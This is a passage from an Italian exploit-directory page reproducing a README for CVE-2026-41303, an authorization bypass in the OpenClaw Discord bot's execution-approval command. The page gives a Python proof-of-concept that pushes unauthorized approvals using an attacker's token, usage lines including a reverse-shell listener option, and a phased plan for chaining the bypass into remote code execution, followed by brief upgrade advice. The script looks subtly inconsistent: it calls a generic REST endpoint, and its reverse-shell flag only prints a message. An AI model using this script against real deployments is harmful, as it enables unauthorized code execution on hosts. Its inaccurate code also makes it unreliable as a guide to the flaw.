Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/kaleth4/cve-2026-41303
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneRisorse Curate
GitHubkaleth4/cve-2026-41303

CVE-2026-41303

Documentazione tecnica e proof-of-concept per CVE-2026-41303, un bypass dell'autorizzazione nel bot Discord OpenClaw, inclusa la metodologia di sfruttamento, le fasi di mitigazione e le raccomandazioni difensive.

Vedi Repository
317 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    331

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🔐 CVE-2026-41303: Bypass di Autorizzazione in OpenClaw Discord Bot

CVSS Badge
Status
Affected
Platform

Documentazione tecnica completa sulla vulnerabilità di bypass dell'autorizzazione in OpenClaw


📋 Indice dei Contenuti

  • Descrizione Generale
  • Dettagli Tecnici
  • Impatto sulla Sicurezza
  • Proof of Concept
  • Metodologia di Sfruttamento
  • Mitigazione e Soluzione
  • Raccomandazioni di Difesa
  • Riferimenti
  • Avviso Legale

📝 Descrizione Generale

Questo repository contiene informazioni tecniche, analisi e raccomandazioni sulla vulnerabilità CVE-2026-41303, che consente il bypass dell'autorizzazione nei comandi di approvazione dell'esecuzione nel progetto OpenClaw.

È stata identificata una falla critica nelle versioni di OpenClaw precedenti alla 2026.3.28. Il problema risiede nei comandi di approvazione testuale di Discord, dove utenti che non appartengono alla lista degli approvatori autorizzati (channels.discord.execApprovals.approvers) possono approvare richieste di esecuzione host in sospeso.


🔍 Dettagli Tecnici

ParametroValore
ID CVECVE-2026-41303
Prodotto InteressatoOpenClaw
Tipo di VulnerabilitàAuthorization Bypass (CWE-863)
Vettore di AttaccoComandi testuali in Discord
PiattaformaLinux / Discord
Punteggio CVSS8.8 (Alta)
Versioni Interessate< 2026.3.28
StatoCorretta in v2026.3.28+

🎯 Descrizione Tecnica

La vulnerabilità risiede nella mancanza di validazione dell'autorizzazione nel gestore dei comandi /approve del bot OpenClaw. Il sistema non verifica correttamente se l'utente che esegue il comando appartiene alla lista degli approvatori autorizzati prima di elaborare la richiesta.


⚠️ Impatto sulla Sicurezza

Un attaccante con accesso al canale Discord dove vengono gestite le approvazioni può:

  • ✗ Intercettare richieste di esecuzione di codice in sospeso
  • ✗ Approvare esecuzioni arbitrarie sull'host senza essere un approvatore legittimo
  • ✗ Ottenere l'esecuzione di codice non autorizzato nell'infrastruttura dove gira OpenClaw
  • ✗ Compromettere l'integrità e la disponibilità del sistema

Scenario di Attacco

Utente Non Autorizzato
        ↓
Accesso al Canale Discord
        ↓
Identifica ID di Approvazione in Sospeso
        ↓
Esegue comando /approve
        ↓
Bot Approva senza Validare i Permessi
        ↓
Esecuzione di Codice Remoto (RCE)

💻 Proof of Concept

Requisiti per l'Esecuzione

  • ✓ Un token utente Discord con accesso al canale dove opera OpenClaw
  • ✓ L'ID del canale Discord (channel-id)
  • ✓ L'ID dell'approvazione in sospeso (approval-id)
  • ✓ Python 3.8+
  • ✓ Librerie: requests, json, argparse

Script PoC Professionale

import argparse
import requests
import json
import time

def main():
    # Configurazione degli argomenti professionale per l'audit
    parser = argparse.ArgumentParser(
        description="CVE-2026-41303 - Bypass di approvazione in OpenClaw",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Esempi di utilizzo:
  python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
  python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
        """
    )
    
    parser.add_argument("target", help="URL dell'istanza o contesto del bot")
    parser.add_argument("--token", required=True, help="Token Discord dell'attaccante/auditor")
    parser.add_argument("--channel-id", required=True, help="ID del canale Discord")
    parser.add_argument("--approval-id", required=True, help="ID dell'approvazione da bypassare")
    parser.add_argument("--decision", default="allow-once", 
                       choices=["allow-once", "allow-always"],
                       help="Tipo di decisione di approvazione (default: allow-once)")
    
    # Parametri aggiuntivi per la post-esplorazione
    parser.add_argument("--lhost", help="IP per reverse shell se l'approvazione attiva una RCE")
    parser.add_argument("--lport", help="Porta di ascolto")
    parser.add_argument("--verbose", "-v", action="store_true", help="Modalità verbose")

    args = parser.parse_args()

    # Logica di sfruttamento
    print(f"[*] Avvio bypass per l'approvazione: {args.approval_id}")
    print(f"[*] Canale obiettivo: {args.channel_id}")
    print(f"[*] Decisione: {args.decision}")
    
    if args.verbose:
        print(f"[DEBUG] Token: {args.token[:20]}...")
        print(f"[DEBUG] Target: {args.target}")
    
    # Costruzione della richiesta malformata
    headers = {
        "Authorization": f"Bearer {args.token}",
        "Content-Type": "application/json"
    }
    
    payload = {
        "approval_id": args.approval_id,
        "decision": args.decision,
        "channel_id": args.channel_id
    }
    
    try:
        # Invio del comando /approve senza validazione dei permessi
        response = requests.post(
            f"{args.target}/api/approve",
            headers=headers,
            json=payload,
            timeout=10
        )
        
        if response.status_code == 200:
            print(f"[+] Bypass riuscito! Approvazione eseguita.")
            print(f"[+] Risposta: {response.json()}")
            
            if args.lhost and args.lport:
                print(f"[*] Reverse shell configurata su {args.lhost}:{args.lport}")
        else:
            print(f"[-] Errore: {response.status_code} - {response.text}")
            
    except Exception as e:
        print(f"[-] Eccezione: {str(e)}")

if __name__ == "__main__":
    main()

Utilizzo dello Script

# Utilizzo di base
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123

# Modalità verbose
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v

# Con reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444

🎯 Metodologia di Sfruttamento

Fase 1: Identificazione

1. Ottenere accesso al canale Discord dove interagisce OpenClaw
2. Monitorare i messaggi del bot per identificare ID di approvazione in sospeso
3. Catturare il formato esatto delle richieste di approvazione
4. Documentare la struttura dei comandi /approve

Fase 2: Iniezione

1. Eseguire lo script PoC con gli ID catturati
2. Inviare la decisione (allow-once o allow-always) insieme ai parametri
3. Il bot elabora il comando senza validare i permessi dell'utente
4. L'approvazione viene eseguita con successo

Fase 3: Concatenamento (Opzionale)

Se l'approvazione testuale in Discord attiva funzioni automatiche sul server:
  ↓
Deploy di codice
  ↓
Esecuzione di Codice Remota (RCE)
  ↓
Compromissione totale del sistema

🛠️ Mitigazione e Soluzione

✅ Azioni Immediate Raccomandate

1. Aggiornare OpenClaw

# Aggiornare alla versione 2026.3.28 o superiore
pip install --upgrade openclaw>=2026.3.28

# Oppure dal repository ufficiale
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .

2. Verificare la Configurazione

# Verificare channels.discord.execApprovals.approvers
# File: config.yaml
Scarica lo strumento